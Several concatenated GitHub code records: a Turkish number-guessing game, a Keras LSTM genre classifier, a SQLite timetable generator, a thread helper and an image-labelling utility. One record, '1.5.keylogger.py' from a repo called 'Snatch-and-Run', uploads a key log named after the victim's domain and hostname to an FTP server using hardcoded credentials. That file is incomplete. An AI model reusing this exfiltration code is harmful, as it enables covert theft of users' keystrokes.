random\r\n\r\nprint(\"\"\"\r\n... ▐≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣▌\r\n... ▐ ▌\r\n... ▐ ⫷ Oyuna Hoşgeldin! ⫸ ▌\r\n... █ ⋖ Oyun 5 Seviyeden oluşuyor ⋗ █\r\n... █ ⋪ Toplam puanın seviyene göre kalan hak sayınla hesaplanıcak ⋫ █\r\n... ▐ ⊴ Elinden geldiğince yüksek puan toplanmaya çalış ⊵ ▌\r\n... ▐ ▌\r\n... ▐≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣≣▌\r\n... \"\"\")\r\nad = input(\" Oyuncu Adınızı Giriniz ≡≡⫸ \")\r\nrestart = \"e\"\r\n\r\nwhile (restart == \"e\" or restart == \"E\" or restart == \"evet\" or restart == \"Evet\"):\r\n puan = 0\r\n level = 1\r\n if (level == 1):\r\n print(\" ★ 1. Seviye || 1-20 Arasında bir Sayı\")\r\n sayi = random.randint(1, 20)\r\n hak = 10\r\n while(hak > 0) and (level == 1):\r\n print(\" ❤ Kalan Hak ❤ = \",hak)\r\n tahmin = 0\r\n while (0 >= tahmin or tahmin >= 21):\r\n tahmin= int(input(\"Tahmininizi Giriniz = \"))\r\n if (0 >= tahmin or tahmin >= 21):\r\n print(\"Lütfen 1 ile 20 arası bir sayı giriniz.\")\r\n if (tahmin == sayi):\r\n print(\" 🏆 Tebrikler 2.Seviyeye geçtiniz.\")\r\n level = 2\r\n else:\r\n hak = hak-1\r\n if (tahmin > sayi):\r\n print(\"Tahminin Sayıdan Daha Büyük\")\r\n else:\r\n print(\"Tahminin Sayıdan Daha Küçük\")\r\n puan = puan + (hak * (level-1)) * 10\r\n if (hak == 0 ):\r\n cls = lambda: print('\\n' * 100)\r\n cls()\r\n print(\"✘ Maalesef tahmin hakkın bitti ✘\",\"\\n✔ Doğru Cevap ≡≡⫸\",sayi,\"\\nOyunu kaybettin\",ad,\"\\n🏆 Kazandığın toplam puan ≡≡⫸ \",puan)\r\n level = 0\r\n\r\n if (level == 2):\r\n print(\" ★✫ 2. Seviye || 1-25 Arasında bir Sayı\")\r\n sayi = random.randint(1,25)\r\n hak = 8\r\n while(hak > 0) and (level == 2):\r\n print(\" ❤ Kalan Hak ❤ = \",hak)\r\n tahmin = 0\r\n while (0 >= tahmin or tahmin >= 26):\r\n tahmin = int(input(\"Tahmininizi Giriniz = \"))\r\n if (0 >= tahmin or tahmin >= 26):\r\n print(\"Lütfen 1 ile 25 arası bir sayı giriniz.\")\r\n if (tahmin == sayi):\r\n print(\" 🏆 Tebrikler 3.Seviyeye geçtiniz.\")\r\n level = 3\r\n else:\r\n hak = hak-1\r\n if (tahmin > sayi):\r\n print(\"Tahminin Sayıdan Daha Büyük\")\r\n else:\r\n print(\"Tahminin Sayıdan Daha Küçük\")\r\n puan = puan + (hak * (level-1)) * 10\r\n if (hak == 0 ):\r\n cls = lambda: print('\\n' * 100)\r\n cls()\r\n print(\"✘ Maalesef tahmin hakkın bitti ✘\",\"\\n✔ Doğru Cevap ≡≡⫸\",sayi,\"\\nOyunu kaybettin\",ad,\"\\n🏆 Kazandığın toplam puan ≡≡⫸ \",puan)\r\n level = 0\r\n\r\n if (level == 3):\r\n print(\" ★✫✭ 3. Seviye || 1-30 Arasında bir Sayı\")\r\n sayi = random.randint(1,30)\r\n hak = 6\r\n while(hak > 0) and (level == 3):\r\n print(\" ❤ Kalan Hak ❤ = \",hak)\r\n tahmin = 0\r\n while (0 >= tahmin or tahmin >= 31):\r\n tahmin = int(input(\"Tahmininizi Giriniz = \"))\r\n if (0 >= tahmin or tahmin >= 31):\r\n print(\"Lütfen 1 ile 30 arası bir sayı giriniz.\")\r\n if (tahmin == sayi):\r\n print(\" 🏆 Tebrikler 4.Seviyeye geçtiniz.\")\r\n level = 4\r\n else:\r\n hak = hak-1\r\n if (tahmin > sayi):\r\n print(\"Tahminin Sayıdan Daha Büyük\")\r\n else:\r\n print(\"Tahminin Sayıdan Daha Küçük\")\r\n puan = puan + (hak * (level-1)) * 10\r\n if (hak == 0 ):\r\n cls = lambda: print('\\n' * 100)\r\n cls()\r\n print(\"✘ Maalesef tahmin hakkın bitti ✘\",\"\\n✔ Doğru Cevap ≡≡⫸\",sayi,\"\\nOyunu kaybettin\",ad,\"\\n🏆 Kazandığın toplam puan ≡≡⫸ \",puan)\r\n level = 0\r\n\r\n if (level == 4):\r\n print(\" ★✫✭✯ 4. Seviye || 1-40 Arasında bir Sayı\")\r\n sayi = random.randint(1,40)\r\n hak = 5\r\n while(hak > 0) and (level == 4):\r\n print(\" ❤ Kalan Hak ❤ = \",hak)\r\n tahmin = 0\r\n while (0 >= tahmin or tahmin >= 41):\r\n tahmin = int(input(\"Tahmininizi Giriniz = \"))\r\n if (0 >= tahmin or tahmin >= 41):\r\n print(\"Lütfen 1 ile 40 arası bir sayı giriniz.\")\r\n if (tahmin == sayi):\r\n print(\" 🏆 Tebrikler 5.Seviyeye geçtiniz.\")\r\n level = 5\r\n else:\r\n hak = hak-1\r\n if (tahmin > sayi):\r\n print(\"Tahminin Sayıdan Daha Büyük\")\r\n else:\r\n print(\"Tahminin Sayıdan Daha Küçük\")\r\n puan = puan + (hak * (level-1)) * 10\r\n if (hak == 0 ):\r\n cls = lambda: print('\\n' * 100)\r\n cls()\r\n print(\"✘ Maalesef tahmin hakkın bitti ✘\",\"\\n✔ Doğru Cevap ≡≡⫸\",sayi,\"\\nOyunu kaybettin\",ad,\"\\n🏆 Kazandığın toplam puan ≡≡⫸ \",puan)\r\n level = 0\r\n\r\n if (level == 5):\r\n print(\" ★✫✭✯✰ 5. Seviye || 1-50 Arasında bir Sayı\")\r\n sayi = random.randint(1,50)\r\n hak = 3\r\n while(hak > 0) and (level == 5):\r\n print(\" ❤ Kalan Hak ❤ = \",hak)\r\n tahmin = 0\r\n while (0 >= tahmin or tahmin >= 51):\r\n tahmin = int(input(\"Tahmininizi Giriniz = \"))\r\n if (0 >= tahmin or tahmin >= 51):\r\n print(\"Lütfen 1 ile 50 arası bir sayı giriniz.\")\r\n if (tahmin == sayi):\r\n puan = puan + ((hak * level)* 10)\r\n print(\" 🎆 🎆 Tebrikler oyunu bitirdin 🎆 🎆\",ad,\" 🎆 🎆 Sen bir ustasın. 🎆 🎆 \")\r\n level = 0\r\n else:\r\n hak = hak-1\r\n if (tahmin > sayi):\r\n print(\"Tahminin Sayıdan Daha Büyük\")\r\n else:\r\n print(\"Tahminin Sayıdan Daha Küçük\")\r\n puan = puan + (hak * level) * 10\r\n if (hak == 0 ):\r\n cls = lambda: print('\\n' * 100)\r\n cls()\r\n print(\"✘ Maalesef tahmin hakkın bitti ✘\",\"\\n✔ Doğru Cevap ≡≡⫸\",sayi,\"\\nOyunu kaybettin\",ad,\"\\n🏆 Kazandığın toplam puan ≡≡⫸ \",puan)\r\n level = 0\r\n\r\n if ( level == 0 ):\r\n restart = input(\"oyunu tekrar oynamak istersen ┆Ε┆vet, eğer oynamak istemiyorsan ┆Η┆ayır => \")\r\n if (restart == \"h\" or restart == \"H\" or restart == \"hayır\" or restart == \"Hayır\"):\r\n print(\"Oyunu oynadığın için teşekkür ederim. Daha sonra görüşmek dileğiyle. :☽\")\r\n else:\r\n cls = lambda: print('\\n' * 100)\r\n cls()\r\n print(\"♔ Hadi o zaman bir daha başlayalım ♔\")","repo_name":"erenyusufduran/Project-Club---Python-Codes-","sub_path":"Projeler/anil_hacioglu.py","file_name":"anil_hacioglu.py","file_ext":"py","file_size_in_byte":7567,"program_lang":"python","lang":"tr","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"11394088011","text":"import glob\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LogisticRegression\nimport pandas as pd\nimport re\nimport tensorflow as tf\nfrom sklearn.model_selection import train_test_split\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom keras.optimizers import SGD\n\n\npath = \".\"\ndocuments = []\n\nfor filename in glob.iglob(path+\"/fairytale/*.txt\"):\n #iterate through each file in the folder, opening it\n with open(filename, encoding=\"utf8\") as f:\n lines = f.read()\n documents.append(lines)\n f.close()\n\nfor filename in glob.iglob(path+\"/updated_cleaned_mystery/*.txt\"):\n #iterate through each file in the folder, opening it\n with open(filename, encoding=\"utf8\") as f:\n lines = f.read()\n documents.append(lines)\n f.close()\n\nvectorizer = CountVectorizer(max_features = 1000, min_df=5,max_df=0.7)\nX = vectorizer.fit_transform(documents).toarray()\nm = vectorizer.get_feature_names()\n\ny = np.zeros(len(documents))\nfor i in range(15, len(documents)): \n y[i] = 1\n\n#Splitting into training and test set\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.20)\ny_train = y_train.reshape((len(y_train),1))\ny_test = y_test.reshape((len(y_test),1))\n\nprint(X_train.shape)\nprint(np.shape(y_train))\nprint(X_test.shape)\nprint(np.shape(y_test))\n\n# The maximum number of words to be used. (most frequent)\nMAX_NB_WORDS = 5000\n# Max number of words in each complaint.\nMAX_SEQUENCE_LENGTH = 250\n# This is fixed.\nEMBEDDING_DIM = 100\n\nfrom keras.layers import Layer\nfrom keras.legacy import interfaces\nfrom keras import backend as K\nfrom keras.layers import LSTM\n\nclass InputSpec(object):\n \"\"\"Specifies the ndim, dtype and shape of every input to a layer.\n Every layer should expose (if appropriate) an `input_spec` attribute:\n a list of instances of InputSpec (one per input tensor).\n A None entry in a shape is compatible with any dimension,\n a None shape is compatible with any shape.\n # Arguments\n dtype: Expected datatype of the input.\n shape: Shape tuple, expected shape of the input\n (may include None for unchecked axes).\n ndim: Integer, expected rank of the input.\n max_ndim: Integer, maximum rank of the input.\n min_ndim: Integer, minimum rank of the input.\n axes: Dictionary mapping integer axes to\n a specific dimension value.\n \"\"\"\n\n def __init__(self, dtype=None,\n shape=None,\n ndim=None,\n max_ndim=None,\n min_ndim=None,\n axes=None):\n self.dtype = dtype\n self.shape = shape\n if shape is not None:\n self.ndim = len(shape)\n else:\n self.ndim = ndim\n self.max_ndim = max_ndim\n self.min_ndim = min_ndim\n self.axes = axes or {}\n\n def __repr__(self):\n spec = [('dtype=' + str(self.dtype)) if self.dtype else '',\n ('shape=' + str(self.shape)) if self.shape else '',\n ('ndim=' + str(self.ndim)) if self.ndim else '',\n ('max_ndim=' + str(self.max_ndim)) if self.max_ndim else '',\n ('min_ndim=' + str(self.min_ndim)) if self.min_ndim else '',\n ('axes=' + str(self.axes)) if self.axes else '']\n return 'InputSpec(%s)' % ', '.join(x for x in spec if x)\n\nclass Dropout(Layer):\n \"\"\"Applies Dropout to the input.\n Dropout consists in randomly setting\n a fraction `rate` of input units to 0 at each update during training time,\n which helps prevent overfitting.\n # Arguments\n rate: float between 0 and 1. Fraction of the input units to drop.\n noise_shape: 1D integer tensor representing the shape of the\n binary dropout mask that will be multiplied with the input.\n For instance, if your inputs have shape\n `(batch_size, timesteps, features)` and\n you want the dropout mask to be the same for all timesteps,\n you can use `noise_shape=(batch_size, 1, features)`.\n seed: A Python integer to use as random seed.\n # References\n - [Dropout: A Simple Way to Prevent Neural Networks from Overfitting](\n http://www.jmlr.org/papers/volume15/srivastava14a/srivastava14a.pdf)\n \"\"\"\n @interfaces.legacy_dropout_support\n def __init__(self, rate, noise_shape=None, seed=None, **kwargs):\n super(Dropout, self).__init__(**kwargs)\n self.rate = min(1., max(0., rate))\n self.noise_shape = noise_shape\n self.seed = seed\n self.supports_masking = True\n\n def _get_noise_shape(self, inputs):\n if self.noise_shape is None:\n return self.noise_shape\n\n symbolic_shape = K.shape(inputs)\n noise_shape = [symbolic_shape[axis] if shape is None else shape\n for axis, shape in enumerate(self.noise_shape)]\n return tuple(noise_shape)\n\n def call(self, inputs, training=None):\n if 0. < self.rate < 1.:\n noise_shape = self._get_noise_shape(inputs)\n\n def dropped_inputs():\n return K.dropout(inputs, self.rate, noise_shape,\n seed=self.seed)\n return K.in_train_phase(dropped_inputs, inputs,\n training=training)\n return inputs\n\n def get_config(self):\n config = {'rate': self.rate,\n 'noise_shape': self.noise_shape,\n 'seed': self.seed}\n base_config = super(Dropout, self).get_config()\n return dict(list(base_config.items()) + list(config.items()))\n\n def compute_output_shape(self, input_shape):\n return input_shape\n \n#http://parneetk.github.io/blog/neural-networks-in-keras/ \ndef plot_model_history(model_history): \n fig, axs = plt.subplots(1,2,figsize=(15,5))\n # summarize history for accuracy\n axs[0].plot(range(1,len(model_history.history['acc'])+1),model_history.history['acc'])\n axs[0].plot(range(1,len(model_history.history['val_acc'])+1),model_history.history['val_acc'])\n axs[0].set_title('Model Accuracy')\n axs[0].set_ylabel('Accuracy')\n axs[0].set_xlabel('Epoch')\n axs[0].set_xticks(np.arange(1,len(model_history.history['acc'])+1),len(model_history.history['acc'])/10)\n axs[0].legend(['train', 'val'], loc='best')\n # summarize history for loss\n axs[1].plot(range(1,len(model_history.history['loss'])+1),model_history.history['loss'])\n axs[1].plot(range(1,len(model_history.history['val_loss'])+1),model_history.history['val_loss'])\n axs[1].set_title('Model Loss')\n axs[1].set_ylabel('Loss')\n axs[1].set_xlabel('Epoch')\n axs[1].set_xticks(np.arange(1,len(model_history.history['loss'])+1),len(model_history.history['loss'])/10)\n axs[1].legend(['train', 'val'], loc='best')\n plt.show() \n \n \n#def accuracy(test_x, test_y, model):\n# result = model.predict(test_x)\n# predicted_class = np.argmax(result, axis=1)\n# true_class = np.argmax(test_y, axis=1)\n# num_correct = np.sum(predicted_class == true_class) \n# accuracy = float(num_correct)/result.shape[0]\n# return (accuracy * 100)\n\nclass SpatialDropout1D(Dropout):\n \"\"\"Spatial 1D version of Dropout.\n This version performs the same function as Dropout, however it drops\n entire 1D feature maps instead of individual elements. If adjacent frames\n within feature maps are strongly correlated (as is normally the case in\n early convolution layers) then regular dropout will not regularize the\n activations and will otherwise just result in an effective learning rate\n decrease. In this case, SpatialDropout1D will help promote independence\n between feature maps and should be used instead.\n # Arguments\n rate: float between 0 and 1. Fraction of the input units to drop.\n # Input shape\n 3D tensor with shape:\n `(samples, timesteps, channels)`\n # Output shape\n Same as input\n # References\n - [Efficient Object Localization Using Convolutional Networks](\n https://arxiv.org/abs/1411.4280)\n \"\"\"\n\n @interfaces.legacy_spatialdropout1d_support\n def __init__(self, rate, **kwargs):\n super(SpatialDropout1D, self).__init__(rate, **kwargs)\n self.input_spec = InputSpec(ndim=3)\n\n def _get_noise_shape(self, inputs):\n input_shape = K.shape(inputs)\n noise_shape = (input_shape[0], 1, input_shape[2])\n return noise_shape\n\n \nfrom keras.models import Sequential\nfrom keras.layers import Dense, Activation,Embedding\nfrom keras.callbacks import EarlyStopping\nfrom keras.utils import to_categorical\nmodel = Sequential()\nmodel.add(Embedding(MAX_NB_WORDS, EMBEDDING_DIM, input_length=X.shape[1]))\nmodel.add(SpatialDropout1D(0.2))\nmodel.add(LSTM(EMBEDDING_DIM, dropout=0.2, recurrent_dropout=0.2))\nmodel.add(Dense(1, activation='softmax'))\nsgd = SGD(lr=5)\nmodel.compile(optimizer=sgd,loss='binary_crossentropy', metrics=['accuracy']) #optimizer='adam', \n\nepochs = 2\nbatch_size = 1\n\n# Training Error\nhistory = model.fit(X_train, y_train, epochs=epochs, batch_size=batch_size,validation_split=0.1,callbacks=[EarlyStopping(monitor='val_acc', patience=3, min_delta=0.0001)])\n#history = model.fit(X_train, y_train, epochs=epochs, shuffle=True)\n\n# plot model history\nplot_model_history(history)\n\n#print (\"Accuracy on test data is: %0.2f\",accuracy(X_test, y_test, model))\n_, test_acc = model.evaluate(X_test, y_test, verbose=0)\nprint(' Test: %.3f' % ( test_acc))","repo_name":"wmoore97/mystery_fairytale_Final_Project","sub_path":"cleaned data/LSTM.py","file_name":"LSTM.py","file_ext":"py","file_size_in_byte":9563,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"41643692246","text":"__author__ = 'Kristo Koert'\n\nfrom sqlite3 import connect, OperationalError, PARSE_DECLTYPES\nimport os\nfrom datetime import datetime\n\n\ndef bench_mark(func):\n \"\"\"Prints how much time a function took.\"\"\"\n def new_f(*args):\n start = datetime.now()\n func(*args)\n end = datetime.now()\n print(\"Running \", func.__name__, \" took:\", end - start)\n return new_f\n\n\n#New util function\n\ndef ical_datetime_to_timestamp(ical_dt):\n \"\"\"\n :param ical_dt: i.e. \"20140508T143000Z\"\n :rtype Timestamp\n \"\"\"\n from sqlite3 import Timestamp\n ical_dt = ical_dt[ical_dt.find(':') + 1:].replace(\"T\", \"\")\n return Timestamp(int(ical_dt[:4]), int(ical_dt[4:6]), int(ical_dt[6:8]), int(ical_dt[8:10]) + 2, int(ical_dt[10:12]))\n\n\nclass DataTypesAbstractClass():\n \"\"\"Any classes inheriting from this class would be meant for creating instances that can be easily written to\n database, created from database rows or add the ability to safely and easily remove instances from database\"\"\"\n\n def __init__(self):\n self._db_row = []\n\n def _create_database_row(self, *kwargs):\n \"\"\"Sets the supplied parameters as the value for instances database row representation. Only works if a\n database row has not already been created, thus ensuring that inheritance can be used.\"\"\"\n if len(self._db_row) == 0:\n self._db_row = kwargs\n\n def get_database_row(self):\n return self._db_row\n\n def __eq__(self, other):\n return self.get_database_row() == other.get_database_row()\n\n def __str__(self):\n return str(self.get_database_row())\n\n\nclass Activity(DataTypesAbstractClass):\n\n def __init__(self, type_of, start, end, spent_time):\n \"\"\"The database table -> Activity (activity_type TEXT, start_timestamp TIMESTAMP, end_timestamp TIMESTAMP,\n spent_time INTEGER )\n\n :param type_of: Either Productive, Neutral of Counterproductive\n :type type_of: str\n :type start: datetime\n :type end: datetime\n :type spent_time: int\n \"\"\"\n try:\n assert type_of in (\"Productive\", \"Neutral\", \"Counterproductive\")\n except AssertionError:\n print(\"Invalid parameter passed for type_of in Activity instance creation: \", type_of)\n\n DataTypesAbstractClass.__init__(self)\n self._create_database_row(type_of, start, end, spent_time)\n\n\nclass AClass(DataTypesAbstractClass):\n\n def __init__(self, subject_code, subject_name, attending_groups, class_type, start_timestamp, end_timestamp,\n classroom, academician, attendible=False):\n \"\"\"The database table -> Class (subject_code TEXT, subject_name TEXT, attending_groups TEXT,\n class_type TEXT, start_timestamp TIMESTAMP, end_timestamp TIMESTAMP, classroom TEXT,\n academician TEXT, user_attend BOOLEAN)\n\n :param subject_code: The subjects code (e.g. I241).\n :type subject_code: str\n :param subject_name: The name of the class.\n :type subject_name: str\n :param attending_groups: Attending groups separated by comas.\n :type attending_groups: str\n :param class_type: Lecture, Exercise, Practice, Repeat prelim, Reservation, Consultation etc.\n :type class_type: str\n :param start_timestamp: Class starts at.\n :type start_timestamp: Timestamp\n :param end_timestamp: Class ends at.\n :type end_timestamp: Timestamp\n :param classroom: Where class takes place.\n :type classroom: str\n :param academician: The academician(s), format separated with comas.\n :type academician: str\n :param attendible: Does the user attend this class or not\n :type attendible: bool\n \"\"\"\n DataTypesAbstractClass.__init__(self)\n self._create_database_row(subject_code, subject_name, attending_groups, class_type, start_timestamp,\n end_timestamp, classroom, academician, attendible)\n\n def __str__(self):\n return str(self.get_database_row())\n\n def __eq__(self, other):\n \"\"\"Last element attendible row in database can differ and still be the same description.\"\"\"\n return self.get_database_row()[:-1] == other.get_database_row()[:-1]\n\n\nDATABASE_PATH = os.path.dirname(os.path.abspath(__file__)) + \"/itckitdb\"\n\ndt = datetime.now()\nactiv_cls = Activity('Productive', dt, dt, 1).__class__\na_cls_cls = AClass('', '', '', '', dt, dt, '', '', False).__class__\n\ntable_dict = {activ_cls: (\"Activity\", \"(?,?,?,?)\"),\n a_cls_cls: (\"Class\", \"(?,?,?,?,?,?,?,?,?)\")}\n\n\ndef add_to_db(datatypes):\n \"\"\"Adds instances from datatype to correct table. Duplicates are not written.\n :type datatypes Iterable | DataTypesAbstractClass\n \"\"\"\n new = []\n try:\n iter(datatypes)\n except TypeError:\n datatypes = [datatypes]\n if len(datatypes) == 0:\n return\n db = connect_to_db()\n cls = datatypes[0].__class__\n table_name = table_dict[cls][0]\n db_coloumns = table_dict[cls][1]\n new = get_not_already_in_db(datatypes, table_name)\n db.executemany(\n \"INSERT INTO \" + table_name + \" VALUES \"\n + db_coloumns, [cls.get_database_row() for cls in new])\n db.commit()\n\n\ndef get_not_already_in_db(datatypes, table_name):\n new = []\n if table_name == \"Class\":\n currently_in_db = get_all_classes()\n else:\n return datatypes\n for datatype in datatypes:\n if datatype not in currently_in_db:\n new.append(datatype)\n return new\n\n\ndef connect_to_db():\n \"\"\"rtype: Connection\"\"\"\n db = connect(DATABASE_PATH, detect_types=PARSE_DECLTYPES)\n attempt_tables_creation(db.cursor())\n return db\n\n\ndef get_all_classes():\n \"\"\"Not used outside testing. Returns database rows not instances of objects.\n :rtype tuple\"\"\"\n db = connect_to_db()\n db_rows = db.cursor().execute(\"SELECT * FROM Class\").fetchall()\n clss = []\n for r in db_rows:\n clss.append(AClass(r[0], r[1], r[2], r[3], r[4], r[5], r[6], r[7]))\n return clss\n\n\ndef get_all_activities():\n \"\"\"Not used outside testing. Returns database rows not instances of objects.\n :rtype Iterable\"\"\"\n conn = connect_to_db()\n return conn.cursor().execute(\"SELECT * FROM Activity\").fetchall()\n\n\ndef remove_all_activities():\n db = connect_to_db()\n db.execute(\"DELETE * FROM Activity\")\n db.commit()\n\n\ndef attempt_tables_creation(cursor):\n \"\"\"If tables do not yet exist, they are created.\"\"\"\n #ToDo implement a real check?\n try:\n cursor.execute(\"\"\"CREATE TABLE Class (subject_code TEXT, subject_name TEXT, attending_groups TEXT,\n class_type TEXT, start_timestamp TIMESTAMP, end_timestamp TIMESTAMP, classroom TEXT,\n academician TEXT, user_attend BOOLEAN)\"\"\")\n except OperationalError:\n #Already exists\n pass\n try:\n cursor.execute(\"\"\"CREATE TABLE Activity (activity_type TEXT, start_timestamp TIMESTAMP,\n end_timestamp TIMESTAMP, spent_time INTEGER )\"\"\")\n except OperationalError:\n #Already exists\n pass\n\nkeywords = [\"Subject code: \", \"Groups: \", \"Type: \", \"DTSTART:\", \"DTEND:\", \"SUMMARY:\",\n \"LOCATION:\", \"Academician: \"]\n\n\ndef _all_parameters_equal(parameters):\n \"\"\"Checks if all the parameters are of equal length.\n :type parameters: dict\n :raises AssertionError\"\"\"\n number_of_events = len(parameters[\"DTSTART:\"])\n for key in keywords:\n try:\n assert number_of_events == len(parameters[key])\n except AssertionError:\n print(\"Parameters are not of equal length.\")\n [print(params, \"->\", len(parameters[params])) for params in parameters]\n raise RuntimeError\n\n\ndef _format_parameters(old_parameters):\n \"\"\"Parameters are converted to their proper forms.\n :type old_parameters: dict\n :rtype: dict\"\"\"\n new_parameters = {key: [] for key in keywords}\n for el in old_parameters[\"Groups: \"]:\n new_parameters[\"Groups: \"].append(el.replace('\\\\', ''))\n for el in old_parameters[\"SUMMARY:\"]:\n new_parameters[\"SUMMARY:\"].append(el[:el.find('[')])\n for el in old_parameters[\"DTEND:\"]:\n new_parameters[\"DTEND:\"].append(ical_datetime_to_timestamp(el))\n for el in old_parameters[\"DTSTART:\"]:\n new_parameters[\"DTSTART:\"].append(ical_datetime_to_timestamp(el))\n for key in keywords:\n if len(new_parameters[key]) == 0:\n new_parameters[key] = old_parameters[key]\n return new_parameters\n\n\ndef _collect_parameters(formatted_ical_text, parameters):\n \"\"\"Recursively collects all the parameters\n :type formatted_ical_text: str\n :type parameters dict\n :rtype: dict\n \"\"\"\n try:\n cut_off = formatted_ical_text.index(\"DTSTART:\", 1)\n event = formatted_ical_text[0:cut_off]\n rest = formatted_ical_text[cut_off:]\n #Deals with events that do not have a Academician\n if len(event.split('\\n')) == 8:\n event += \"Academician: \"\n for line in event.split('\\n'):\n for key in parameters.keys():\n if key in line:\n parameters[key].append(line.replace(key, ''))\n return _collect_parameters(rest, parameters)\n except ValueError:\n parameters = _format_parameters(parameters)\n _all_parameters_equal(parameters)\n return parameters\n\n\ndef _combine_classes(user_classes, main_classes):\n \"\"\"Returns a list of only the AClass objects that are unique.\n :type user_classes: list\n :type main_classes: list\n :rtype: list\n \"\"\"\n for cls in user_classes:\n if cls in main_classes:\n main_classes[main_classes.index(cls)] = cls\n return main_classes\n\n\ndef parse_icals():\n \"\"\"Parses ical files and writes the results to database.\"\"\"\n parameters_dict = {key: [] for key in keywords}\n user_classes = []\n main_classes = []\n\n user_ical = open(os.path.dirname(os.path.abspath(__file__)) + \"/user_ical\", \"r\").read()\n main_ical = open(os.path.dirname(os.path.abspath(__file__)) + \"/main_ical\", \"r\").read()\n\n parameters = _collect_parameters(user_ical, parameters_dict)\n for i in range(len(parameters[\"DTSTART:\"])):\n user_classes.append(AClass(parameters[\"Subject code: \"][i], parameters[\"SUMMARY:\"][i], parameters[\"Groups: \"][i],\n parameters[\"Type: \"][i], parameters[\"DTSTART:\"][i], parameters[\"DTEND:\"][i],\n parameters[\"LOCATION:\"][i], parameters[\"Academician: \"][i], True))\n\n parameters.clear()\n\n parameters = _collect_parameters(main_ical, parameters_dict)\n for i in range(len(parameters[\"DTSTART:\"])):\n main_classes.append(AClass(parameters[\"Subject code: \"][i], parameters[\"SUMMARY:\"][i], parameters[\"Groups: \"][i],\n parameters[\"Type: \"][i], parameters[\"DTSTART:\"][i], parameters[\"DTEND:\"][i],\n parameters[\"LOCATION:\"][i], parameters[\"Academician: \"][i], False))\n\n return _combine_classes(user_classes, main_classes)\n\n#----------------------------------------------------------\n#Working Code\n\nfrom random import randint\ndt = datetime.now()\ntypes = [\"Productive\", \"Neutral\", \"Counterproductive\"]\n\n@bench_mark\ndef fill_activity_table():\n \"\"\"Fills activity table with 100 random Activity instances.\"\"\"\n generator = [Activity(types[randint(0, 2)], dt, dt, randint(1, 500)) for i in range(1000)]\n add_to_db(generator)\n\n\n@bench_mark\ndef fill_class_table():\n \"\"\"Fills Class table with classes. From user ical are attendible rest not attendible.\"\"\"\n add_to_db(parse_icals())\n\nif __name__ == \"__main__\":\n fill_activity_table()\n fill_class_table()\n #If you want to print the tables content\n #[print(act) for act in get_all_activities()]\n #[print(cls) for cls in get_all_classes()]\n #print(len(get_all_classes()))\n #print(results[0], results[-1])","repo_name":"EITC-student-kit/db-generator","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":12018,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"16237860630","text":"import threading\n\nfrom AFWLogger import *\n\nclass AFWProxyThread(threading.Thread):\n def __init__(self, name, func):\n threading.Thread.__init__(self)\n self.__name = name\n self.__func = func\n\n def run(self):\n Info(\"Thread start: \" + self.__name)\n self.__func()\n Info(\"Thread end: \" + self.__name)\n\n \n","repo_name":"eddiedb6/auto","sub_path":"afw/plugin/proxy/AFWProxyThread.py","file_name":"AFWProxyThread.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"34582506802","text":"import os\r\nimport ftplib\r\nfrom ftplib import FTP\r\nimport subprocess\r\nimport time\r\nimport datetime\r\nday = datetime.datetime.day\r\nhour = datetime.datetime.hour\r\nsec = datetime.datetime.second\r\ntimestamp = '{}.{}.{}'.format(day,hour,sec)\r\nlogged_user_os_fix = os.environ['USERPROFILE']\r\nhostname = subprocess.run(['whoami'],stdout=subprocess.PIPE)\r\nhostname = str(hostname.stdout.decode('utf-8'))\r\nhostname = hostname.split('\\\\')\r\ndomain_name = hostname[0]\r\nhostname = hostname[1]\r\nhostname = hostname.split()\r\nhostname = hostname[0]\r\ndomain_hostname = '{}.{}'.format(domain_name,hostname)\r\n\r\ndef ftp_trans():\r\n path_to_file = '{}\\key.log.txt'.format(logged_user_os_fix)\r\n ftp = FTP('127.0.0.1',user='test',passwd='jjcool4')\r\n file = open(path_to_file,'rb')\r\n ftp.cwd('/')\r\n ftp.storbinary('STOR {}.key.log.txt'.format(domain_hostname),file)\r\n ftp.quit()\r\n file.close()\r\n\r\nlogfile = open('{}\\key.log.txt'.format(logged_user_os_fix), 'w+')\r\nlogfile.write('{}'.format(keys_pressed_chrome))\r\nlogfile.close()\r\n\r\n#open and make a log file\r\n\r\n\r\n\r\n","repo_name":"joeyjoey1234/Snatch-and-Run","sub_path":"1.5.keylogger.py","file_name":"1.5.keylogger.py","file_ext":"py","file_size_in_byte":1059,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"35106292659","text":"\nimport numpy as np \nfrom scipy.ndimage.measurements import label as scipy_label\nfrom skimage.morphology import remove_small_objects\n\ndef maxConnectComponets(image, ignore_label=0):\n '''\n image:one-hot image\n return image:one-hot image\n '''\n\n for i in range(image.shape[0]):\n if i == ignore_label:\n continue\n\n image_c = image[i].astype('bool')\n image_c = remove_small_objects(image_c)\n image_labeled, n = scipy_label(image_c)\n\n label_area = []\n for j in range(n):\n label_area.append((image_labeled == (j + 1)).sum())\n\n label_area = np.array(label_area)\n if len(label_area) != 0:\n max_index = np.argmax(label_area)\n new_label = (image_labeled == (max_index + 1))\n \n image[ignore_label] = (image[ignore_label].astype('bool') | image_labeled.astype('bool')) & (~new_label)\n image[i] = new_label\n\n return image.astype('int')\n\ndef percentConnectComponents(image, percent=0.1, ignore_label=0):\n '''\n image:one-hot image\n return image:one-hot image\n '''\n if percent < 0 or percent > 1:\n raise Exception('Invalid percent!')\n\n for i in range(image.shape[0]):\n if i == ignore_label:\n continue\n\n image_c = 